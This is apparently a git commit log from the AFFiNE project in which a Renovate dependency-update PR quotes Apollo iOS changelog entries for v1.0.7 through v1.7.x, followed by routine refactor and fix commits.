-   **Duplicate `@defer` directive error ([#&#8203;235](https://redirect.github.com/apollographql/apollo-ios-dev/pull/235)):** When executing codegen against Apollo Router and a schema that supports the `@defer` directive it would fail with an error stating the directive is duplicated.

##### Improvement

-   **Added \`InputObject\`\` casing strategy ([#&#8203;137](https://redirect.github.com/apollographql/apollo-ios-dev/pull/137)):** We've added a new casing strategy option for InputObjects which mimics the behaviour of the enum case conversion strategy. *Thank you to [@&#8203;alexifrim](https://redirect.github.com/alexifrim) for raising this in issue [#&#8203;3257](https://redirect.github.com/apollographql/apollo-ios/issues/3257).*
-   **Added `GraphQLResult` conversion extension ([#&#8203;139](https://redirect.github.com/apollographql/apollo-ios-dev/pull/139)):** `GraphQLResult` response data can now be easily converted into a JSON dictionary. This is useful for taking server response data and serializing it into a JSON dictionary which can then be used in a test suite.
-   **Codegen performance improvements ([#&#8203;152](https://redirect.github.com/apollographql/apollo-ios-dev/pull/152)):** There has been a bunch of refactoring work to prepare for future codegen features but we've also managed to squeeze out some performance improvements.

### [`v1.7.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v171)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.7.0...1.7.1)

##### Fixed

-   **Fixed inconsistent ordering of fragments in generated operation definitions  ([#&#8203;130](https://redirect.github.com/apollographql/apollo-ios-dev/pull/130)):** In order to make the ordering of fragments consistent, they are now alphabetized. This is a change to the data that gets sent over the wire when making a network request for an operation with fragments. **[Persisted Queries](https://www.apollographql.com/docs/ios/fetching/persisted-queries) users should re-register their queries when upgrading to this version.** *Thank you to [@&#8203;scottasoutherland](https://redirect.github.com/scottasoutherland) for reporting the issue.*

##### Improvement

-   **Add initializer for `SelectionSet` that takes a `[String: Any]` JSON object ([#&#8203;102](https://redirect.github.com/apollographql/apollo-ios-dev/pull/102)):** *Thank you to [@&#8203;Cookiezby](https://redirect.github.com/Cookiezby) for the contribution.*

### [`v1.7.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v170)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.6.1...1.7.0)

**`ApolloCodegenLib` Now Uses Swift Concurrency**
To improve the performance of the code generation, the `ApolloCodegenLib` now uses `async/await`. Code generation is now parallelized and should complete much faster for users with a large number of GraphQL files.
This means that the entry point function, `ApolloCodegen.build(with configuration:)` is now an `async` function. For users using the `ApolloCodegenLib` directly, you will need to make your call sites into this function use `async/await`. In most cases, this requires minimal code changes. Please see the [1.7.0 migration guide](https://www.apollographql.com/docs/ios/migrations/1.7) for information on how to upgrade.

See PR [#&#8203;57](https://redirect.github.com/apollographql/apollo-ios-dev/pull/57).

##### Fixed

-   **Fixed a bug with ApolloAPI.Object clashing with custom objects name Object ([#&#8203;94](https://redirect.github.com/apollographql/apollo-ios-dev/pull/94)):** *Thank you to [215eight](https://redirect.github.com/215eight) for reporting the issue.*

### [`v1.6.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v161)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.6.0...1.6.1)

##### Fixed

-   **Fix bug with AnyHashable coercion ([#&#8203;68](https://redirect.github.com/apollographql/apollo-ios-dev/pull/68)):** This is an additional fix for the crashes on iOS 14.4.1.

### [`v1.6.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v160)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.5.2...1.6.0)

The Apollo iOS ecosystem is changing in the 1.6.0 release in order to provide a better development experience for users. For most users nothing will change, while some users will see a minor difference. The biggest change is that the `ApolloCodegenLib` is now in a separate repo/package that will need to be included as its own dependency from [apollo-ios-codegen](https://redirect.github.com/apollographql/apollo-ios-codegen) if you are doing your code generation through Swift. If you are using the codegen CLI then no changes are necessary.

For a detailed breakdown of the changes please see this [GitHub Issue](https://redirect.github.com/apollographql/apollo-ios/issues/3240).

##### Fixed

-   **Fixed crashes in iOS 14.4 and below ([#&#8203;61](https://redirect.github.com/apollographql/apollo-ios-dev/pull/61)):** *Thank you to [matijakregarGH](https://redirect.github.com/matijakregarGH) for reporting the issue.*

### [`v1.5.2`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v152)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.5.1...1.5.2)

The purpose of this release is to provide a deprecation message to users of `ApolloCodegenLib` who are scripting their code generation in advance of an upcoming change to our libraries and repo structure. Beginning with the upcoming 1.6.0 release the code generation libraries will be their own SPM package in their own repo which will require you to add a new dependency to you project in order for your code generation scripting to compile. More information can be found in our [announcement](https://redirect.github.com/apollographql/apollo-ios/issues/3240) of this change.

**If you would like to avoid this deprecation warning in your builds feel free to stay on 1.5.1 or earlier, this warning will be gone in the 1.6.0 release**

PR containing deprecation warning for reference: [#&#8203;3243](https://redirect.github.com/apollographql/apollo-ios/pull/3243).

### [`v1.5.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v151)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.5.0...1.5.1)

##### Improvement

-   **Added `OutputOptions` property to codegen for marking generated classes as `final` ([#&#8203;3189](https://redirect.github.com/apollographql/apollo-ios/pull/3189)):** *Thank you to [@&#8203;Mordil](https://redirect.github.com/Mordil) for the contribution.*

##### Fixed

-   **Codegen `itemsToGenerate` option for `.all` not generating an operation manifest ([#&#8203;3215](https://redirect.github.com/apollographql/apollo-ios/pull/3215)):** *Thank you to [@&#8203;TizianoCoroneo](https://redirect.github.com/TizianoCoroneo) for finding and fixing the issue.*
-   **Codegen operation manifest inadvertantly being generated twice ([#&#8203;3225](https://redirect.github.com/apollographql/apollo-ios/pull/3225)):** *Thank you to [@&#8203;jimisaacs](https://redirect.github.com/jimisaacs) for finding and fixing the issue.*

### [`v1.5.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v150)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.4.0...1.5.0)

##### New

-   **Added the ability pass a custom `RequestContext` to networking APIs ([#&#8203;3198](https://redirect.github.com/apollographql/apollo-ios/pull/3198)):** *Thank you to [@&#8203;danieltiger](https://redirect.github.com/danieltiger) for the contribution.*
    -   **Minor Breaking Change:** The `requestContext` parameter is optional with a default value of `nil`. This means there are no breaking changes to the APIs for making networking calls. However, the `requestContext` parameter was also added to the `ApolloClientProtocol`. For custom implementations of this protocol (usually used for unit testing), you will need to add the `requestContext` parameter to your function signatures.

##### Fixed

-   **Null values are no longer stripped from the underlying data used by generated `SelectionSet` models ([apollo-ios-dev/#&#8203;25](https://redirect.github.com/apollographql/apollo-ios-dev/pull/25)):**
    -   When these models were manually inserted into the cache, the null fields, which were stripped, were not written to the cache. This caused unintended cache misses when fetching those values back out of the cache.
    -   This fixes [#&#8203;3092](https://redirect.github.com/apollographql/apollo-ios/issues/3092). *Thank you to [@&#8203;
        aleksanderlorenc-lw](https://redirect.github.com/aleksanderlorenc-lw) for raising this issue.*

### [`v1.4.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v140)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.3.3...1.4.0)

##### New

-   **Added the ability to set a casing strategy for field names in code generation ([#&#8203;2738](https://redirect.github.com/apollographql/apollo-ios/issues/2738)):** See PR ([#&#8203;3171](https://redirect.github.com/apollographql/apollo-ios/pull/3171)). *Thank you to [@&#8203;Spatel91111](https://redirect.github.com/Spatel91111) for the feature request.*

##### Improvement

-   **Updated the way persisted queries are configured for code and manifest generation:** See PR ([#&#8203;3175](https://redirect.github.com/apollographql/apollo-ios/pull/3175))
-   **Updated docs for `other` schema module type to provide more clarity ([#&#8203;3164](https://redirect.github.com/apollographql/apollo-ios/issues/3164)):** See PR ([#&#8203;3170](https://redirect.github.com/apollographql/apollo-ios/pull/3170)) *Thank you to [@&#8203;Mordil](https://redirect.github.com/Mordil) for suggesting this update.*

### [`v1.3.3`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v133)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.3.2...1.3.3)

##### Fixed

-   **Fix two issues with generated models:** See PR ([#&#8203;3168](https://redirect.github.com/apollographql/apollo-ios/pull/3168)). *Thank you to [@&#8203;iAmericanBoy](https://redirect.github.com/iAmericanBoy) for finding these issues and providing a reproduction case.*
-   **Fix computation of operation identifiers for persisted queries:** See PR ([#&#8203;3163](https://redirect.github.com/apollographql/apollo-ios/pull/3163)). *Thank you to [@&#8203;WolframPRO](https://redirect.github.com/WolframPRO) for finding these issues.*

### [`v1.3.2`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v132)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.3.1...1.3.2)

##### Improved

-   **Throw an error when an invalid key is present in the codegen configuration JSON ([#&#8203;2942](https://redirect.github.com/apollographql/apollo-ios/issues/2942)):** See PR ([#&#8203;3125](https://redirect.github.com/apollographql/apollo-ios/pull/3125)) *Thank you to [@&#8203;Iron-Ham](https://redirect.github.com/Iron-Ham) for the contribution.*
-   **Cleanup unused imports and declarations. ([#&#8203;3099](https://redirect.github.com/apollographql/apollo-ios/issues/3099)):** See PR ([#&#8203;3100](https://redirect.github.com/apollographql/apollo-ios/pull/3100)) *Thank you to [@&#8203;Iron-Ham](https://redirect.github.com/Iron-Ham) for raising the issue and contributing the fix.*
-   **Improvement to response code error API ([#&#8203;2426](https://redirect.github.com/apollographql/apollo-ios/issues/2426)):** See PR ([#&#8203;3123](https://redirect.github.com/apollographql/apollo-ios/pull/3123)). *Thank you to [@&#8203;dfperry5](https://redirect.github.com/dfperry5) for the contribution.*
-   **Improved file path support for operation manifest generation:** See PR ([#&#8203;3128](https://redirect.github.com/apollographql/apollo-ios/pull/3128))

##### Fixed

-   **Fix two issues in test mock generation:** See PR ([#&#8203;3120](https://redirect.github.com/apollographql/apollo-ios/pull/3120)). *Thank you to [@&#8203;TizianoCoroneo](https://redirect.github.com/TizianoCoroneo) for finding this issue and contributing the fix.*
-   **Fixed precondition failure when surpassing graphql-js max error count ([#&#8203;3126](https://redirect.github.com/apollographql/apollo-ios/issues/3126)):** See PR ([#&#8203;3132](https://redirect.github.com/apollographql/apollo-ios/pull/3132)).

##### Deprecated

-   **Deprecated `queryStringLiteralFormat` in `ApolloCodegenConfiguration`:** Query string literals will now always be generated as single line strings. See PR ([#&#8203;3129](https://redirect.github.com/apollographql/apollo-ios/pull/3129)).

### [`v1.3.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v131)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.3.0...1.3.1)

##### Fixed

-   **Fix crashes in test mocks when setting an array of union types ([#&#8203;3023](https://redirect.github.com/apollographql/apollo-ios/pull/3023)):** See PR ([#&#8203;3089](https://redirect.github.com/apollographql/apollo-ios/pull/3089)). *Thank you to [@&#8203;jabeattie](https://redirect.github.com/jabeattie) & [@&#8203;scottasoutherland](https://redirect.github.com/scottasoutherland) for raising the issue.*

##### Deprecated

-   **Deprecated `APQConfig` & `operationIdentifiersPath` in `ApolloCodegenConfiguration`:** These have been replaced with `OperationDocumentFormat` and `OperationManifestFileOutput` respectively. Please see the documentation for [`ApolloCodegenConfiguration`](https://www.apollographql.com/docs/ios/code-generation/codegen-configuration) for more information.

### [`v1.3.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v130)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.2.2...1.3.0)

Though `1.3.0` is a minor version bump, some critical issues were addressed in this version that requires a small breaking change during the upgrade.  While we strive to make the upgrade path for minor versions seamless, these issues could not be reasonably resolved without requiring this migration.

For a detailed explanation of the breaking changes and a guide on how to migrate to `1.3.0`, see our [migration guide](https://www.apollographql.com/docs/ios/migrations/1.3).

##### Breaking

-   **Using reserved keyword `Type` as in selection fields does not compile ([#&#8203;3006](https://redirect.github.com/apollographql/apollo-ios/issues/3006)):** See PR [#&#8203;3058](https://redirect.github.com/apollographql/apollo-ios/pull/3058). *Thank you to [@&#8203;Nielssg](https://redirect.github.com/Nielssg) for raising the issue.*
-   **Memory leak from `InterceptorRequestChain` when ending the chain with `returnValueAsync` ([#&#8203;3057](https://redirect.github.com/apollographql/apollo-ios/issues/3057)):** See PR [#&#8203;3070](https://redirect.github.com/apollographql/apollo-ios/pull/3070). *Thank you to [@&#8203;marksvend](https://redirect.github.com/marksvend) for raising the issue.*

### [`v1.2.2`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v122)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.2.1...1.2.2)

##### Added

-   **Support SOCKS proxies for debugging websocket based subscriptions([#&#8203;2788](https://redirect.github.com/apollographql/apollo-ios/issues/2788)):** *Thank you to [@&#8203;tahirmit](https://redirect.github.com/tahirmt) for the contribution.*

##### Fixed

-   **Fix conversion of generated models into nested type cases ([#&#8203;2989](https://redirect.github.com/apollographql/apollo-ios/issues/2989) & [#&#8203;2980](https://redirect.github.com/apollographql/apollo-ios/issues/2980)):** In some cases, the generated models were missing types when calculating which fragments were fulfilled for a selection set. This was causing type case conversion to return `nil` incorrectly. See PR [#&#8203;3067](https://redirect.github.com/apollographql/apollo-ios/pull/3067). *Thank you to [@&#8203;tgyhlsb](https://redirect.github.com/tgyhlsb) and [@&#8203;dafurman](https://redirect.github.com/dafurman) for raising these issues.*
-   **Fix crashes in code generation when merging fragments at definition root ([#&#8203;3071](https://redirect.github.com/apollographql/apollo-ios/issues/3071)):** When fragments with type conditions were defined on the root of an operation or named fragment, the code generation engine was crashing. See PR [#&#8203;3073](https://redirect.github.com/apollographql/apollo-ios/pull/3073). *Thank you to [@&#8203;tahirmit](https://redirect.github.com/tahirmt) for raising and helping us reproduce this issue.*
-   **Fix parsing of input objects as default values for input params ([#&#8203;2978](https://redirect.github.com/apollographql/apollo-ios/issues/2978)):** The codegen engine will no longer crash in this situation. *Thank you to [@&#8203;ecunha-ta](https://redirect.github.com/ecunha-ta) for raising the issue.*

### [`v1.2.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v121)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.2.0...1.2.1)

##### Improved

-   **Added new validation to alert users to type naming conflict when running code generation([#&#8203;2405](https://redirect.github.com/apollographql/apollo-ios/issues/2405)):** See PR [#&#8203;3041](https://redirect.github.com/apollographql/apollo-ios/pull/3041).

##### Fixed

-   **Int values failing to cast to Scalar Type during cache key resolution ([#&#8203;3034](https://redirect.github.com/apollographql/apollo-ios/issues/3034)):** See PR [#&#8203;3037](https://redirect.github.com/apollographql/apollo-ios/pull/3037). *Thank you to [@&#8203;asbhat](https://redirect.github.com/asbhat) for raising the issue.*
-   **Fix malformed RootEntityType on generated fragment with `@include` condition. ([#&#8203;2962](https://redirect.github.com/apollographql/apollo-ios/issues/2962)):** See PR [#&#8203;3045](https://redirect.github.com/apollographql/apollo-ios/pull/3045). *Thank you to [@&#8203;alexisbronchart](https://redirect.github.com/alexisbronchart) for raising the issue.*

### [`v1.2.0`](https://redirect.github.com/apollographql/apollo-ios/releases/tag/1.2.0)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.1.3...1.2.0)

Though 1.2 is a minor version bump, a critical problem was addressed in this version that requires a small breaking change during the upgrade.  While we strive to make the upgrade path for minor versions seamless, this issue could not be reasonably resolved without requiring this migration.

**For most users, this migration will only require a single change to your `SchemaConfiguration.swift` file.**

For a detailed explanation of the breaking changes and a guide on how to migrate to v1.2, see our [migration guide](https://www.apollographql.com/docs/ios/migrations/1.2).

##### Breaking

-   **Cache Key Configuration API Changes ([#&#8203;2990](https://redirect.github.com/apollographql/apollo-ios/pull/2990)):** The API for configuring custom cache keys has had a minor change in this version. The signature of the `cacheKeyInfo(for:object:)` function, defined in your generated SchemaConfiguration.swift file, has been modified. For more information, see our [migration guide](https://www.apollographql.com/docs/ios/migrations/1.2).

##### Improved

-   **Improved performance of GraphQL execution ([#&#8203;2990](https://redirect.github.com/apollographql/apollo-ios/pull/2990)):** Improvements to the `GraphQLExecutor` resulted in a ~15-20% reduction in execution time for parsing and mapping network response or cache data onto generated models.
-   **Improved performance of generated model initialization and type conversions ([#&#8203;2990](https://redirect.github.com/apollographql/apollo-ios/pull/2990)):** The `DataDict` used to store the data for generated models has been updated to use copy-on-write value semantics. This resulted in a ~70-80% reduction in the execution time of initialization and type case conversions in the generated models.

##### Fixed

-   **Pruning generated files for `.relative(subpath:)` operations ([#&#8203;2969](https://redirect.github.com/apollographql/apollo-ios/issues/2969)):** See PR [#&#8203;2994](https://redirect.github.com/apollographql/apollo-ios/pull/2994). *Thank you to [@&#8203;jimisaacs](https://redirect.github.com/jimisaacs) for raising the issue.*
-   **InputObjects generated with incorrect getter/setter key ([#&#8203;2858](https://redirect.github.com/apollographql/apollo-ios/issues/2858)):** See PR [#&#8203;2996](https://redirect.github.com/apollographql/apollo-ios/pull/2996). *Thank you to [@&#8203;Austinpayne](https://redirect.github.com/Austinpayne) for raising the issue.*
-   **Generates conflicting types for fields of singular and plural names ([#&#8203;2850](https://redirect.github.com/apollographql/apollo-ios/issues/2850)):** See PR [#&#8203;3009](https://redirect.github.com/apollographql/apollo-ios/pull/3009). *Thank you to [@&#8203;sgade](https://redirect.github.com/sgade) for raising the issue.*
-   **Equality operator shows incorrect values based on value of `__fulfilled` ([#&#8203;2944](https://redirect.github.com/apollographql/apollo-ios/issues/2944)):** See PR [#&#8203;2990](https://redirect.github.com/apollographql/apollo-ios/pull/2990). *Thank you to [@&#8203;scottasoutherland](https://redirect.github.com/scottasoutherland) for raising the issue.*

##### New

-   **Add option to generate objects with `internal` access modifier ([#&#8203;2630](https://redirect.github.com/apollographql/apollo-ios/issues/2630)):** See PR [#&#8203;2917](https://redirect.github.com/apollographql/apollo-ios/pull/2917). *Thank you to [@&#8203;simonbilskyrollins](https://redirect.github.com/simonbilskyrollins) for the feature request.*

### [`v1.1.3`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v113)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.1.2...1.1.3)

##### Fixed

-   **`@dynamicMember` conflicting field name ([#&#8203;2950](https://redirect.github.com/apollographql/apollo-ios/issues/2950)):** The subscript setters have been changed to allow a selection set property named `hash`. [#&#8203;2965](https://redirect.github.com/apollographql/apollo-ios/pull/2965) *Thank you to [@&#8203;renanbdias](https://redirect.github.com/renanbdias) for raising the issue.*
-   **Disallow certain targetNames in code generation ([#&#8203;2958](https://redirect.github.com/apollographql/apollo-ios/issues/2958)):** `apollo` is no longer allowed as a target name otherwise it causes a conflict when importing `Apollo` as a module. [#&#8203;2972](https://redirect.github.com/apollographql/apollo-ios/pull/2972) *Thank you to [@&#8203;moopoints](https://redirect.github.com/moopoints) for raising the issue.*
-   **Fully Qualify name of RootEntityType and mergedSources ([#&#8203;2949](https://redirect.github.com/apollographql/apollo-ios/issues/2949)):** Selection set types use fully qualified namespacing to prevent conflicts with other types. [#&#8203;2956](https://redirect.github.com/apollographql/apollo-ios/pull/2956) *Thank you to [@&#8203;martin-muller](https://redirect.github.com/martin-muller) for raising the issue.*
-   **SelectionSet Codegen `__typename` fix ([#&#8203;2955](https://redirect.github.com/apollographql/apollo-ios/issues/2955)):** Custom root types defined in the schema are now correctly applied to selection set fields typename definitions [#&#8203;2983](https://redirect.github.com/apollographql/apollo-ios/pull/2983) *Thank you to [@&#8203;ynnadrules](https://redirect.github.com/ynnadrules) for raising the issue.*

### [`v1.1.2`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v112)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.1.1...1.1.2)

##### Fixed

-   **Crash after calling `cancel()` on `Cancellable` ([#&#8203;2932](https://redirect.github.com/apollographql/apollo-ios/issues/2932)):** Calling `cancel()` on a non-subscription `Cancellable` will now correctly handle the lifetime of the internally `Unmanaged` object. [#&#8203;2943](https://redirect.github.com/apollographql/apollo-ios/pull/2943) - *Thank you to [@&#8203;yonaskolb](https://redirect.github.com/yonaskolb) for raising the issue.*
-   **Deprecation messages are not escaped ([#&#8203;2879](https://redirect.github.com/apollographql/apollo-ios/issues/2879)):** If escaped characters are used in GraphQL deprecation messages they are now properly escaped in the rendered Swift warning or attribution message. [#&#8203;2951](https://redirect.github.com/apollographql/apollo-ios/pull/2951) *Thank you to [@&#8203;djavan-bertrand](https://redirect.github.com/djavan-bertrand) for raising the issue.*

##### Added

-   **Add injecting additionalErrorHandler for upload operations to RequestChainNetworkTransport ([#&#8203;2948](https://redirect.github.com/apollographql/apollo-ios/pull/2948)):** `Upload` operations can now have custom error interceptors like other operations. [#&#8203;2948](https://redirect.github.com/apollographql/apollo-ios/pull/2948) *Thank you to [@&#8203;RobertDresler](https://redirect.github.com/RobertDresler) for the contribution.*

### [`v1.1.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v111)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.1.0...1.1.1)

##### Fixed

-   **Version 1.1.0 does not compile when installed via CocoaPods ([#&#8203;2936](https://redirect.github.com/apollographql/apollo-ios/issues/2936)):** Module names not present in CocoaPods builds have been removed from type declarations. [#&#8203;2937](https://redirect.github.com/apollographql/apollo-ios/pull/2937) - *Thank you to [@&#8203;simonliotier](https://redirect.github.com/simonliotier) for raising the issue.*
-   **Crash when using mocks for Double Nested Arrays ([#&#8203;2809](https://redirect.github.com/apollographql/apollo-ios/issues/2809)):** Test mock data is now correctly applied to the selection set. [#&#8203;2939](https://redirect.github.com/apollographql/apollo-ios/pull/2939) - *Thank you to [@&#8203;scottasoutherland](https://redirect.github.com/scottasoutherland) for raising the issue.*
-   **In 1.1.0, passing custom scalars or GraphQLEnum to mocks fails ([#&#8203;2928](https://redirect.github.com/apollographql/apollo-ios/issues/2928)):** Test mock data is now correctly applied to the selection set. [#&#8203;2939](https://redirect.github.com/apollographql/apollo-ios/pull/2939) - *Thank you to [@&#8203;scottasoutherland](https://redirect.github.com/scottasoutherland) for raising the issue.*

### [`v1.1.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v110)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.0.7...1.1.0)

Apollo iOS v1.1 primarily focuses on adding generated initializers to the generated operation models.

In most cases, the upgrade from v1.0 to v1.1 should require no changes to your code.

##### **Breaking**

-   **Changed generated fragment accessors with inclusion conditions:** When conditionally spreading a fragment with an `@include/@&#8203;skip` directive that has a different parent type than the selection set it is being spread into, the shape of the generated models has changed.
    -   For example, a fragment accessor defined as `... on DetailNode @&#8203;include(if: $includeDetails)` would have previously been named `asDetailNode`; it will now be generated as `asDetailNodeIfIncludeDetails`.
-   While no breaking changes were made to official public APIs, some *underscore prefixed* APIs that are `public` but intended for internal usage only have been changed.
    -   **SelectionSet fulfilled fragment tracking:** `SelectionSet` models now keep track of which fragments were fulfilled during GraphQL execution in order to enable conversions between type cases. While this does not cause functional changes while using public APIs, this is a fundamental change to the way that the underlying data for a `SelectionSet` is formatted, it is now required that all `SelectionSet` creation must be processed by the `GraphQLExecutor` or a generated initializer that is guaranteed to correctly format the data. **This means that initializing a `SelectionSet` using raw JSON data directly will no longer work.** Please ensure that raw JSON data is only used with the new `RootSelectionSet.init(data: variables)` initializer.

##### Fixed

-   **Null/nil value parsing issues**. In some situations, writing/reading `null` or `nil` values to the cache was causing crashes in 1.1 Beta 1. This is now fixed.

##### Added

-   **Configuration option for generating initializers on SelectionSet models:** You can now get initializers for your generated selection set models by setting the `selectionSetInitializers` option on your code generation configuration. Manually initialized selection sets can be used for a number of purposes, including:
    -   Adding custom data to the normalized cache
    -   Setting up fixture data for SwiftUI previews or loading states
    -   An alternative to Test Mocks for unit testing
-   **Safe initialization of `SelectionSet` models with raw JSON:** In 1.0, initializing `SelectionSet` models with raw JSON was unsafe and required usage of *underscore prefixed* APIs that were intended for internal usage only. Apollo iOS 1.1 introduces a new, safe initializer: `RootSelectionSet.init(data: variables)`.
    -   Previously, if you provided invalid JSON, your selection set's were unsafe and may cause crashes when used. The new initializer runs a lightweight version of GraphQL execution over the provided JSON data. This quickly parses, validates, and transforms the JSON data into the format required by the `SelectionSet` models. If the provided data is invalid, this initializer `throws` an error, ensuring that your model usage is always safe.
-   **Added support for multipart subscriptions over HTTP.**

##### Changed

-   **Generate `__typename` selection for generated models:** In 1.1, the code generator adds the `__typename` field to each root object. In previous versions, this selection was automatically inferred by the `GraphQLExecutor`, however generating it directly should improve performance of GraphQL execution.

### [`v1.0.7`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v107)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.0.6...1.0.7)

##### Fixed

-   **Couldn't build when using some reserved words in a schema ([#&#8203;2765](https://redirect.github.com/apollographql/apollo-ios/issues/2765)):** `for` has been added to the list of reserved keywords that are escaped with backticks when used in schema types and operations. [#&#8203;2772](https://redirect.github.com/apollographql/apollo-ios/pull/2772) - *Thank you to [@&#8203;torycons](https://redirect.github.com/torycons) for raising the issue.*
-   **Subscript GraphQL variable from dictionary crash when Swift modifier used as key ([#&#8203;2759](https://redirect.github.com/apollographql/apollo-ios/issues/2759)):** Backticks have been removed from subscript keys of input objects. [#&#8203;2773](https://redirect.github.com/apollographql/apollo-ios/pull/2773) - *Thank you to [@&#8203;SzymonMatysik](https://redirect.github.com/SzymonMatysik) for raising the issue.*
-   **Unnamed fields in schema results in broken generated Swift code ([#&#8203;2753](https://redirect.github.com/apollographql/apollo-ios/issues/2753)):** The `_` character can be used as a GraphQL field name. [#&#8203;2769](https://redirect.github.com/apollographql/apollo-ios/pull/2769) - *Thank you to [@&#8203;neakor](https://redirect.github.com/neakor) for raising the issue.*
-   **LocalCacheMutation with an enum field fails ([#&#8203;2775](https://redirect.github.com/apollographql/apollo-ios/issues/2775)):** When writing selection set data back into the cache, custom scalars are now re-encoded back into their `_jsonValue`. [#&#8203;2778](https://redirect.github.com/apollographql/apollo-ios/pull/2778) - *Thank you to [@&#8203;dabby-wombo](https://redirect.github.com/dabby-wombo) for raising the issue.*
-   **DataDict subscript function crashes on iOS 14.4 and under ([#&#8203;2668](https://redirect.github.com/apollographql/apollo-ios/issues/2668)):** `AnyHashable` conversions when accessing `DataDict` properties now perform checks on the base type. [#&#8203;2784](https://redirect.github.com/apollographql/apollo-ios/pull/2784) - *Thank you to [@&#8203;bdunay3](https://redirect.github.com/bdunay3) for raising the issue.*
-   **`@include` directive based on variable with default value drops the included data ([#&#8203;2690](https://redirect.github.com/apollographql/apollo-ios/issues/2690)):** The GraphQL executor will now correctly evaluate `GraphQLNullable` conditional variables. [#&#8203;2794](https://redirect.github.com/apollographql/apollo-ios/pull/2794) - *Thank you to [@&#8203;klanchman](https://redirect.github.com/klanchman) for raising the issue.*
-   **Interfaces implemented by schema root are not generated ([#&#8203;2756](https://redirect.github.com/apollographql/apollo-ios/issues/2756)):** Interfaces references on the root type Query, Mutation or Subscription are now included in the schema module. [#&#8203;2816](https://redirect.github.com/apollographql/apollo-ios/pull/2816) - *Thank you to [@&#8203;litso](https://redirect.github.com/litso) for raising the issue.*

##### Changed

-   **HTTP headers format in schema download configuration JSON ([#&#8203;2661](https://redirect.github.com/apollographql/apollo-ios/issues/2661)):** `HTTPHeaders` in the `ApolloSchemaDownloadConfiguration` section of the codegen configuration JSON file can now be specified using the more intuitive format `{ "Authorization": "<token>"}`. [#&#8203;2811](https://redirect.g

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS44NS4wIiwidXBkYXRlZEluVmVyIjoiMzkuODUuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-02 12:22:25 +00:00
Saul-Mirone
53f7480cb8 refactor(editor): merge docCreated and docAdded slot (#9489) 2025-01-02 11:47:14 +00:00
Saul-Mirone
bae0cc349d chore(editor): remove @types/dompurify dependency (#9490) 2025-01-02 11:33:19 +00:00
Saul-Mirone
edb5e1d87a refactor(editor): job should not rely on doc collection directly (#9488) 2025-01-02 10:50:15 +00:00
EYHN
f2906bc6d0 refactor(core): add all docs properties api (#9484) 2025-01-02 10:35:46 +00:00
forehalo
c4e04042b4 fix(server): fail to load custom config (#9485)
closed #9237 #9417
2025-01-02 09:45:12 +00:00
Lakr
094cb1d71c feat(ios): implement chat function (#9482)
Co-authored-by: DarkSky <darksky2048@gmail.com>
2025-01-02 17:35:07 +08:00
Flrande
72e343c379 fix(editor): replace checkVisibility (#9481) 2025-01-02 08:25:48 +00:00
renovate
8c05c6ef5b chore: bump up all non-major dependencies (#9434)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
